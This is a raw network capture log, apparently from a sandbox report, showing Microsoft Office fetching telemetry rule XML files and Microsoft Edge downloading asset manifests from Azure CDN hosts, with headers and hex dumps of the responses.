2024-11-24 22:24:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: ce6e3a8c-101e-0017-74b5-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222433Z-178bfbc474bh5zbqhC1NYCkdug00000006k00000000069n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:33 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222434Z-174c587ffdfcb7qhhC1TEB3x70000000050g00000000qp4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:34 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222434Z-174c587ffdf6b487hC1TEBydsn00000004zg00000000bc1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:34 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:34 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:34 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e328efd5-c01e-00a2-56bf-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222434Z-178bfbc474bxkclvhC1NYC69g400000006m00000000047e4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:34 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:34 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222434Z-178bfbc474bpscmfhC1NYCfc2c000000057g000000003zsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:34 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49813	13.107.246.63	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:34 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:35 UTC	577	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:35 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f2f90ee0-f01e-003d-23ad-3edd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222435Z-178bfbc474bw8bwphC1NYC38b400000006h000000000018m Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:35 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49814	13.107.246.63	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: 